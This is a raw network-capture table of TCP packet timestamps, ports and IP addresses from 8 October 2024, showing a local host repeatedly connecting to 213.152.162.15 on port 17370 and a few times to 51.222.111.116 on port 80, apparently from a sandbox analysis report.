Oct 8, 2024 02:40:43.156295061 CEST	64369	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.161432028 CEST	17370	64369	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:43.161582947 CEST	64369	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.166440010 CEST	17370	64369	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:43.728573084 CEST	17370	64369	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:43.728801012 CEST	64369	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.728801012 CEST	64369	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.733920097 CEST	17370	64369	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:43.833820105 CEST	64370	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.839117050 CEST	17370	64370	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:43.839198112 CEST	64370	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.919967890 CEST	64370	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.925061941 CEST	17370	64370	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:43.925146103 CEST	64370	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:43.930097103 CEST	17370	64370	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:44.549592018 CEST	17370	64370	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:44.549686909 CEST	64370	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:44.549844980 CEST	64370	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:44.554835081 CEST	17370	64370	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:44.661237955 CEST	64371	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:44.667897940 CEST	17370	64371	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:44.667983055 CEST	64371	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:44.723311901 CEST	64371	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:44.728563070 CEST	17370	64371	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:44.728651047 CEST	64371	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:44.733484030 CEST	17370	64371	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:45.400600910 CEST	17370	64371	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:45.400686026 CEST	64371	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:45.400790930 CEST	64371	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:45.405745029 CEST	17370	64371	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:45.504957914 CEST	64372	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:45.510426044 CEST	17370	64372	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:45.510504961 CEST	64372	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:45.629287958 CEST	64372	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:45.634524107 CEST	17370	64372	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:45.634593010 CEST	64372	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:45.639542103 CEST	17370	64372	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:46.237241983 CEST	17370	64372	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:46.237346888 CEST	64372	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:46.237452030 CEST	64372	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:46.242300987 CEST	17370	64372	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:46.348937988 CEST	64373	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:46.354295969 CEST	17370	64373	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:46.354398012 CEST	64373	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:46.376200914 CEST	64373	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:46.381453991 CEST	17370	64373	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:46.381541014 CEST	64373	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:46.386526108 CEST	17370	64373	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.085994005 CEST	17370	64373	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.086097956 CEST	64373	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.086219072 CEST	64373	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.091169119 CEST	17370	64373	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.192540884 CEST	64374	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.197854996 CEST	17370	64374	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.197945118 CEST	64374	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.219829082 CEST	64374	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.224908113 CEST	17370	64374	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.224993944 CEST	64374	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.229958057 CEST	17370	64374	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.905860901 CEST	17370	64374	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:47.906090021 CEST	64374	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.906090021 CEST	64374	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:47.911360025 CEST	17370	64374	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.020607948 CEST	64375	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.026453018 CEST	17370	64375	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.026527882 CEST	64375	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.056628942 CEST	64375	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.062771082 CEST	17370	64375	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.062834024 CEST	64375	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.068799019 CEST	17370	64375	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.762442112 CEST	17370	64375	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.762511969 CEST	64375	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.769499063 CEST	64375	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.774615049 CEST	17370	64375	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.923896074 CEST	64376	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:48.929279089 CEST	17370	64376	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:48.929377079 CEST	64376	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.080553055 CEST	64376	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.086256027 CEST	17370	64376	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:49.086448908 CEST	64376	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.091705084 CEST	17370	64376	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:49.639847994 CEST	17370	64376	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:49.639955997 CEST	64376	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.640042067 CEST	64376	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.645003080 CEST	17370	64376	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:49.755007982 CEST	64377	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.760433912 CEST	17370	64377	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:49.760529041 CEST	64377	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.792697906 CEST	64377	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.797784090 CEST	17370	64377	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:49.797869921 CEST	64377	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:49.803332090 CEST	17370	64377	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:50.512008905 CEST	17370	64377	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:50.512156010 CEST	64377	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:50.512264013 CEST	64377	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:50.517101049 CEST	17370	64377	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:50.630211115 CEST	64378	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:50.635636091 CEST	17370	64378	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:50.635714054 CEST	64378	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:50.674772978 CEST	64378	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:50.680026054 CEST	17370	64378	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:50.680099964 CEST	64378	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:50.684957027 CEST	17370	64378	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:51.349313021 CEST	17370	64378	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:51.349589109 CEST	64378	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:51.351140022 CEST	64378	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:51.355977058 CEST	17370	64378	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:51.497555017 CEST	64379	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:51.502970934 CEST	17370	64379	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:51.503134966 CEST	64379	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:51.655322075 CEST	64379	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:51.660496950 CEST	17370	64379	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:51.660676956 CEST	64379	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:51.665627003 CEST	17370	64379	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:52.254749060 CEST	17370	64379	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:52.254966974 CEST	64379	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:52.254966974 CEST	64379	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:52.260164022 CEST	17370	64379	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:52.364401102 CEST	64380	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:52.369668961 CEST	17370	64380	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:52.369762897 CEST	64380	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:52.405493021 CEST	64380	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:52.410810947 CEST	17370	64380	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:52.411103010 CEST	64380	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:52.416073084 CEST	17370	64380	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.077301979 CEST	17370	64380	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.077599049 CEST	64380	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.077599049 CEST	64380	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.082683086 CEST	17370	64380	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.134629965 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:53.140047073 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:53.192663908 CEST	64381	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.199048042 CEST	17370	64381	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.199193001 CEST	64381	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.232728958 CEST	64381	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.238167048 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:53.238811970 CEST	17370	64381	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.238886118 CEST	64381	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.244879961 CEST	17370	64381	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.301832914 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:53.929016113 CEST	17370	64381	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:53.929091930 CEST	64381	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.929188013 CEST	64381	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:53.934124947 CEST	17370	64381	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:54.036423922 CEST	64382	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:54.041796923 CEST	17370	64382	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:54.041934013 CEST	64382	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:54.624020100 CEST	64382	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:54.629230022 CEST	17370	64382	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:54.629369020 CEST	64382	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:54.634315014 CEST	17370	64382	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.034934998 CEST	17370	64382	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.035128117 CEST	64382	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.035202980 CEST	64382	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.041265011 CEST	17370	64382	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.145915985 CEST	64383	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.151213884 CEST	17370	64383	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.151426077 CEST	64383	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.181241989 CEST	64383	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.186364889 CEST	17370	64383	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.186495066 CEST	64383	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.191447973 CEST	17370	64383	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.862695932 CEST	17370	64383	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.862898111 CEST	64383	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.865027905 CEST	64383	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.870893002 CEST	17370	64383	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.973927021 CEST	64384	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:55.979420900 CEST	17370	64384	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:55.979638100 CEST	64384	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.005557060 CEST	64384	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.010806084 CEST	17370	64384	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:56.011034012 CEST	64384	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.016045094 CEST	17370	64384	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:56.702430010 CEST	17370	64384	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:56.702622890 CEST	64384	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.702668905 CEST	64384	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.707782030 CEST	17370	64384	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:56.817526102 CEST	64385	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.822818041 CEST	17370	64385	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:56.822900057 CEST	64385	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.849235058 CEST	64385	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.854351997 CEST	17370	64385	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:56.854433060 CEST	64385	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:56.859383106 CEST	17370	64385	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:57.503098011 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:40:57.553519964 CEST	17370	64385	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:57.553596020 CEST	64385	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:57.553708076 CEST	64385	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:57.558655024 CEST	17370	64385	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:57.614392996 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:40:57.661338091 CEST	64386	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:57.672151089 CEST	17370	64386	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:57.672246933 CEST	64386	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:57.716504097 CEST	64386	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:57.723323107 CEST	17370	64386	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:57.723432064 CEST	64386	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:57.729401112 CEST	17370	64386	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:58.408159971 CEST	17370	64386	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:58.408245087 CEST	64386	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:58.408351898 CEST	64386	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:58.413212061 CEST	17370	64386	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:58.520822048 CEST	64387	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:58.527753115 CEST	17370	64387	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:58.527957916 CEST	64387	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:58.560004950 CEST	64387	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:58.565021038 CEST	17370	64387	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:58.565226078 CEST	64387	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:58.570105076 CEST	17370	64387	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:59.354804993 CEST	17370	64387	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:59.355015993 CEST	64387	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:59.355015993 CEST	64387	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:59.360181093 CEST	17370	64387	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:59.474064112 CEST	64388	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:59.479162931 CEST	17370	64388	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:59.479393959 CEST	64388	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:59.505681038 CEST	64388	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:59.510708094 CEST	17370	64388	213.152.162.15	192.168.2.4
Oct 8, 2024 02:40:59.510911942 CEST	64388	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:40:59.515902996 CEST	17370	64388	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:00.193500996 CEST	17370	64388	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:00.193694115 CEST	64388	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:00.193694115 CEST	64388	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:00.198775053 CEST	17370	64388	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:00.302007914 CEST	64389	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:00.307090044 CEST	17370	64389	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:00.307182074 CEST	64389	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:00.335164070 CEST	64389	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:00.340861082 CEST	17370	64389	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:00.340928078 CEST	64389	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:00.345887899 CEST	17370	64389	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.024733067 CEST	17370	64389	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.024804115 CEST	64389	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.024910927 CEST	64389	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.029855013 CEST	17370	64389	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.133109093 CEST	64390	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.138446093 CEST	17370	64390	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.138528109 CEST	64390	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.171087980 CEST	64390	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.176201105 CEST	17370	64390	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.176268101 CEST	64390	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.181199074 CEST	17370	64390	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.863334894 CEST	17370	64390	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.863423109 CEST	64390	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.863574982 CEST	64390	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.868451118 CEST	17370	64390	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.974047899 CEST	64391	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:01.979957104 CEST	17370	64391	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:01.980051041 CEST	64391	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.056992054 CEST	64391	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.061973095 CEST	17370	64391	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:02.062158108 CEST	64391	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.067167044 CEST	17370	64391	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:02.708323002 CEST	17370	64391	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:02.708513021 CEST	64391	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.708877087 CEST	64391	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.713952065 CEST	17370	64391	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:02.817567110 CEST	64392	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.822807074 CEST	17370	64392	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:02.822884083 CEST	64392	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.971458912 CEST	64392	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.978871107 CEST	17370	64392	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:02.978952885 CEST	64392	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:02.986329079 CEST	17370	64392	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:03.564131021 CEST	17370	64392	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:03.564266920 CEST	64392	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:03.564353943 CEST	64392	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:03.569447994 CEST	17370	64392	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:03.677993059 CEST	64393	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:03.683168888 CEST	17370	64393	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:03.683233023 CEST	64393	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:03.731843948 CEST	64393	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:03.736871958 CEST	17370	64393	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:03.736998081 CEST	64393	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:03.741961002 CEST	17370	64393	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:04.412553072 CEST	17370	64393	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:04.412628889 CEST	64393	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:04.412736893 CEST	64393	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:04.417646885 CEST	17370	64393	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:04.520783901 CEST	64394	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:04.526086092 CEST	17370	64394	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:04.526175022 CEST	64394	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:04.609718084 CEST	64394	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:04.614799023 CEST	17370	64394	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:04.614972115 CEST	64394	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:04.619837999 CEST	17370	64394	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:05.238261938 CEST	17370	64394	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:05.238468885 CEST	64394	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:05.238468885 CEST	64394	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:05.243550062 CEST	17370	64394	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:05.380098104 CEST	64395	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:05.385416985 CEST	17370	64395	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:05.385514975 CEST	64395	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:05.443427086 CEST	64395	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:05.448328972 CEST	17370	64395	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:05.448390007 CEST	64395	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:05.453272104 CEST	17370	64395	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.103468895 CEST	17370	64395	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.103563070 CEST	64395	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.103693962 CEST	64395	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.108656883 CEST	17370	64395	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.208209038 CEST	64396	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.213685036 CEST	17370	64396	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.213767052 CEST	64396	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.338107109 CEST	64396	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.343111038 CEST	17370	64396	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.343194008 CEST	64396	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.348953009 CEST	17370	64396	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.944622040 CEST	17370	64396	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:06.944704056 CEST	64396	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.944801092 CEST	64396	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:06.949651003 CEST	17370	64396	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.052062988 CEST	64397	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.056989908 CEST	17370	64397	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.057065010 CEST	64397	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.075825930 CEST	64397	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.080774069 CEST	17370	64397	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.080965042 CEST	64397	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.085875034 CEST	17370	64397	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.764559984 CEST	17370	64397	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.764635086 CEST	64397	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.764996052 CEST	64397	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.769762993 CEST	17370	64397	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.880182028 CEST	64398	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:07.885303974 CEST	17370	64398	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:07.885406017 CEST	64398	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:08.017791033 CEST	64398	17370	192.168.2.4	213.152.162.15
